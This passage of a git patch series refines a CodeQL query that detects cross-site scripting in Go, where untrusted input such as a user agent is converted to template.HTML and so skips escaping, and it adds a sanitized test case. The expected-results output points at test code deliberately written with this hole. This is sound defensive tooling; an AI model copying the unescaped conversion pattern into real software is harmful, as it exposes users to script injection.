HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | nodes | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | @@ -270,6 +278,22 @@ nodes | HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src | +| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | #select | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted | | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted | diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go index e0468e4bfb2..f001bc93138 100644 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go @@ -82,4 +82,12 @@ func good(req *http.Request) { _ = converted checkError(tmpl.Execute(os.Stdout, src)) } + { + // The untrusted input is sanitized before use. + tmpl, _ := template.New("test").Parse(`
Your user agent is {{.}}
`) + src := req.UserAgent() + + converted := template.HTML("" + template.HTMLEscapeString(src) + "") + checkError(tmpl.Execute(os.Stdout, converted)) + } } From 1a9b09e8bd471cc95fb10fa252ee88762ebd200d Mon Sep 17 00:00:00 2001 From: Slavomir Date: Wed, 24 Mar 2021 15:19:06 +0100 Subject: [PATCH 17/20] Add NumericType sanitizer --- ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index df575dfa398..3cef4f1e035 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -144,7 +144,7 @@ class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Config override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } override predicate isSanitizer(DataFlow::Node sanitizer) { - sanitizer instanceof SharedXss::Sanitizer + sanitizer instanceof SharedXss::Sanitizer or sanitizer.getType() instanceof NumericType } } From dc95902e56b4917417fdc2eca03b8cb1a9b2a168 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Thu, 1 Apr 2021 15:50:25 +0300 Subject: [PATCH 18/20] Apply suggestions from code review Co-authored-by: Chris Smowton --- .../CWE-79/HTMLTemplateEscapingPassthrough.qhelp | 2 +- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 8 +++----- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp index ec406bdc198..a842a685f23 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp @@ -8,7 +8,7 @@ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

-

Using them on user-provided values will result in an XSS.

+

Using them on user-provided values will result in an opportunity for XSS.

diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index 3cef4f1e035..9b0c37676ab 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -42,10 +42,9 @@ class PassthroughTypeName extends string { * output of the templates. */ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration { - string dstTypeName; + PassthroughTypeName dstTypeName; FlowConfFromUntrustedToPassthroughTypeConversion() { - dstTypeName instanceof PassthroughTypeName and this = "UntrustedToConversion" + dstTypeName } @@ -105,11 +104,10 @@ class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTrac isSourceConversionToPassthroughType(source, _) } - private predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, string name) { + private predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, PassthroughTypeName name) { exists(Type typ | typ = source.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) and - name instanceof PassthroughTypeName + typ.getUnderlyingType*().hasQualifiedName("html/template", name) ) } From 7c35902724959b1d882a90448839299c94291dd1 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Thu, 1 Apr 2021 15:14:14 +0200 Subject: [PATCH 19/20] Use DataFlow::Node as parameters --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 28 ++++++++++--------- 1 file changed, 15 insertions(+), 13 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index 9b0c37676ab..7f510d33d10 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -18,11 +18,11 @@ import DataFlow::PathGraph * and `conversionSink` gets populated with the node where the conversion happens. */ predicate flowsFromUntrustedToConversion( - DataFlow::PathNode untrusted, string targetType, DataFlow::PathNode conversionSink + DataFlow::Node untrusted, string targetType, DataFlow::Node conversionSink ) { - exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source | - cfg.hasFlowPath(source, conversionSink) and - source.getNode() = untrusted.getNode() and + exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::Node source | + cfg.hasFlow(source, conversionSink) and + source = untrusted and targetType = cfg.getDstTypeName() ) } @@ -70,15 +70,15 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co * Holds if the provided `conversion` node flows into the provided `execSink`. */ predicate flowsFromConversionToExec( - DataFlow::PathNode conversion, string targetType, DataFlow::PathNode execSink + DataFlow::Node conversion, string targetType, DataFlow::Node execSink ) { exists( - FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source, - DataFlow::PathNode execSinkLocal + FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::Node source, + DataFlow::Node execSinkLocal | - cfg.hasFlowPath(source, execSinkLocal) and - source.getNode() = conversion.getNode() and - execSink.getNode() = execSinkLocal.getNode() and + cfg.hasFlow(source, execSinkLocal) and + source = conversion and + execSink = execSinkLocal and targetType = cfg.getDstTypeName() ) } @@ -104,7 +104,9 @@ class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTrac isSourceConversionToPassthroughType(source, _) } - private predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, PassthroughTypeName name) { + private predicate isSourceConversionToPassthroughType( + DataFlow::TypeCastNode source, PassthroughTypeName name + ) { exists(Type typ | typ = source.getResultType() and typ.getUnderlyingType*().hasQualifiedName("html/template", name) @@ -162,9 +164,9 @@ where // C = template execution call // Flows: // A -> B - flowsFromUntrustedToConversion(untrustedSource, targetTypeName, conversion) and + flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion.getNode()) and // B -> C - flowsFromConversionToExec(conversion, targetTypeName, templateExecCall) and + flowsFromConversionToExec(conversion.getNode(), targetTypeName, templateExecCall.getNode()) and // A -> C flowsFromUntrustedToExec(untrustedSource, templateExecCall) select templateExecCall.getNode(), untrustedSource, templateExecCall, From 68c0073c0b19397c4a184f5456708ebf66068816 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Thu, 1 Apr 2021 15:17:20 +0200 Subject: [PATCH 20/20] Use PassthroughTypeName instead of string --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 20 +++++++++---------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index 7f510d33d10..81c2663a3b1 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -18,7 +18,7 @@ import DataFlow::PathGraph * and `conversionSink` gets populated with the node where the conversion happens. */ predicate flowsFromUntrustedToConversion( - DataFlow::Node untrusted, string targetType, DataFlow::Node conversionSink + DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink ) { exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::Node source | cfg.hasFlow(source, conversionSink) and @@ -51,15 +51,14 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co /** * Gets the name of conversion's destination type. */ - string getDstTypeName() { result = dstTypeName } + PassthroughTypeName getDstTypeName() { result = dstTypeName } override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } - private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) { + private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { exists(Type typ | typ = sink.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) and - name instanceof PassthroughTypeName + typ.getUnderlyingType*().hasQualifiedName("html/template", name) ) } @@ -70,7 +69,7 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co * Holds if the provided `conversion` node flows into the provided `execSink`. */ predicate flowsFromConversionToExec( - DataFlow::Node conversion, string targetType, DataFlow::Node execSink + DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink ) { exists( FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::Node source, @@ -88,17 +87,16 @@ predicate flowsFromConversionToExec( * to a PassthroughType flows to a template execution call. */ class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration { - string dstTypeName; + PassthroughTypeName dstTypeName; FlowConfPassthroughTypeConversionToTemplateExecutionCall() { - dstTypeName instanceof PassthroughTypeName and this = "ConversionToExec" + dstTypeName } /** * Gets the name of conversion's destination type. */ - string getDstTypeName() { result = dstTypeName } + PassthroughTypeName getDstTypeName() { result = dstTypeName } override predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) @@ -156,8 +154,8 @@ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathN } from - DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, string targetTypeName, - DataFlow::PathNode conversion + DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, + PassthroughTypeName targetTypeName, DataFlow::PathNode conversion where // A = untrusted remote flow source // B = conversion to PassthroughType